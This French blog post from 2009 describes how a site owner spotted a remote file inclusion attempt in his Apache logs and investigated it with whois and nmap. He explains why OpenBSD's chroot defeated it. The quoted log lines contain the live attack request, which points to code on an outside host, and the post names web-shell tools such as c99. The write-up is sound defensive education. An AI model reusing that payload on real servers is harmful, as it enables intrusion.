tentatives de piratage

Bon allez, j'exagère, il aurait fallu qu'il se lève un peu plus tôt ce pirate en herbe pour que ça soit sérieux. Mais un petit rapport pour les novices, c'est bien venu.

De temps en temps, drZZ jette un œil sur ses logs. Rien de plus simple :

tail -n 100 /var/www/logs/drzz_access_log | more

et à la petite semaine j'essaie de voir ce qui se passe (finalement un peu toujours la même chose).

Jusqu'au moment où je tombe sur :

5357e75e.cable.casema.nl - - [27/Oct/2009:13:19:27 +0100] "GET /articles.php%253Ftag%253DHP////?_SERVER[DOCUMENT_ROOT]=http://cyberirc.fileave.com/id1.txt? HTTP/1.1" 404 233 "-" "Mozilla/5.0"
5357e75e.cable.casema.nl - - [27/Oct/2009:13:19:29 +0100] "GET ////?_SERVER[DOCUMENT_ROOT]=http://cyberirc.fileave.com/id1.txt? HTTP/1.1" 200 17044 "-" "Mozilla/5.0"

ce qui bien évidemment, attire mon attention.

Qu'essaie donc cet utilisateur venant de : 5357e75e.cable.casema.nl (le premier champ des logs Apache donne par défaut l'adresse IP de la machine qui envoie la requête — la dernière connue en tout cas) ?

Première chose, je vais sur le site http://www.casema.nl, qui renvoie à http://www.ziggo.nl/, mais je ne comprends pas le néerlandais. Ça m'a l'air d'être un portail pour un fournisseur d'accès ou quelque chose dans le genre, en raison de la présence du terme 'cable' dans l'IP (je n'ai pas activé l'option nslookup dans le fichier de configuration d'Apache, ça prend trop de ressources).

Puis, j'envoie un :

$whois casema.nl

qui me donne :

   Domain name:
      casema.nl

   Status: active

   Registrant:
      CAS002797-NVMUL
      Casema B.V.
      Spaarneplein 2 2
      2515VK  'S-GRAVENHAGE
      Netherlands

   Administrative contact:
      MUC000023-NVMUL
      Milan Muchall
      +31 (0)707783000
      hostmaster@casema.nl

   Registrar:
      Ziggo B.V.
      Atoomweg 100
      3542AB  UTRECHT
      Netherlands

   Technical contact(s):
      LEE030580-NVMUL
      A van Leeuwen
      +31 (0)8000620
      ordercontrol@office.ziggo.nl

   Domain nameservers:
      ns1.gn.iss.as9143.net
      ns1.mnd.iss.as9143.net
      ns1.tb.iss.as9143.net
      ns1.gv.iss.as9143.net

   Date registered: 15-12-1994
   Record last updated: 10-07-2009

   Record maintained by: NL Domain Registry

Même chose pour ziggo.nl sur le whois :

Domain name:
      ziggo.nl

   Status: active

   Registrant:
      ZIG000199-NVMUL
      Ziggo BV
      Atoomweg 100
      3542AB  UTRECHT
      Netherlands

   Administrative contact:
      LEE029822-NVMUL
      A van Leeuwen
      +31 (0)208855733
      dnsadmin@corp.home.nl

   Registrar:
      Ziggo B.V.
      Atoomweg 100
      3542AB  UTRECHT
      Netherlands

   Technical contact(s):
      LEE029822-NVMUL
      A van Leeuwen
      +31 (0)208855733
      dnsadmin@corp.home.nl

      LEE030580-NVMUL
      A van Leeuwen
      +31 (0)8000620
      ordercontrol@office.ziggo.nl

   Domain nameservers:
      ns1.gn.iss.as9143.net
      ns1.mnd.iss.as9143.net
      ns1.tb.iss.as9143.net
      ns1.gv.iss.as9143.net

   Date registered: 09-08-2005
   Record last updated: 13-07-2009

   Record maintained by: NL Domain Registry

ce qui me donne un résultat avec quelques similitudes. Pas de quoi s'affoler pour l'instant, mais je garde ça sous le coude, au cas où l'intrus reviendrait pointer son nez.

Ensuite, j'envoie direct un scan de port, simplement pour voir si l'hôte est toujours actif, d'une part, et s'il présente quelques caractéristiques dont je pourrais me servir :

sudo nmap -sS 5357e75e.cable.casema.nl

mais l'hôte est 'down', donc rien à pêcher de ce côté, d'autant plus qu'à l'allure de l'adresse, ça doit être du dynamique. Je n'ai que peu de chances de retomber sur le même acteur physique à l'avenir.

Passons maintenant à la requête elle-même et plus spécifiquement la seconde qui m'a donné un code de résultat HTTP de 200 (successful query) :

5357e75e.cable.casema.nl - - [27/Oct/2009:13:19:29 +0100] "GET ////?_SERVER[DOCUMENT_ROOT]=http://cyberirc.fileave.com/id1.txt? HTTP/1.1" 200 17044 "-" "Mozilla/5.0"

En gros, la requête essaie d'envoyer une super-variable PHP mal écrite au passage (ça serait plutôt : $_SERVER['DOCUMENT_ROOT']) dans la machine à trois niveaux d'arborescence supérieurs (au pif, car le 'pirate' n'a pas l'air de connaître ma machine donc comment peut-il connaître l'arborescence ?). Pourquoi ? Pour que le fichier 'id1.txt' soit servi lorsqu'une requête est envoyée pour la ressource par défaut à la racine du site.

Allons voir la ressource d'origine de plus près : http://cyberirc.fileave.com. J'y vois le terme irc (Internet Relay Chat), donc peut-être un script kiddie qui s'essaie au 'piratage' après avoir placé quelques fichiers dangereux ?… fileave.com étant un espace de stockage de fichier gratuit (50 Mo maximum), je vais peut-être m'en servir aussi eh eh… pour mettre des poésies.

Bon, soyons sérieux, voici ce que je trouve : bugsdork.txt, c99.txt, googlerz.php, id1.txt, id2.txt, phpbot.txt, read.txt, sql.txt. On remarque au passage le c99.txt qui a récemment servi à pas mal d'enquiquineurs de trousse à outils pour le défaçage de sites et deux ou trois scripts de même portée qui sont écrits en Perl (excusez-moi de ne pas m'étendre plus sur les spécificités de chacun d'entre eux, c'est hors sujet ici).

Le truc, de toute façon, c'est que la requête, même correctement formulée tombe sur un os sous OpenBSD : le répertoire de base de tous les sites web est chrooté. Il n'est donc pas possible pour une ressource installée sous /var/www/ d'exécuter quoi que ce soit 'au-dessus' de ce point considéré comme la racine. Dans le cas d'une requête de ce type, Apache sert donc la page… par défaut.

Voilà une histoire qui tourne donc court, mais qui peut servir à d'autres qui veulent mieux comprendre ce qui se passe sur le web avec des requêtes tordues et quels sont quelques-uns des mécanismes de sécurité de base. Je vous tiendrai au courant s'il y a des suites.

tags : piratage, Apache, OpenBSD

mis en ligne : Tue Oct 27 16:56:26 CEST 2009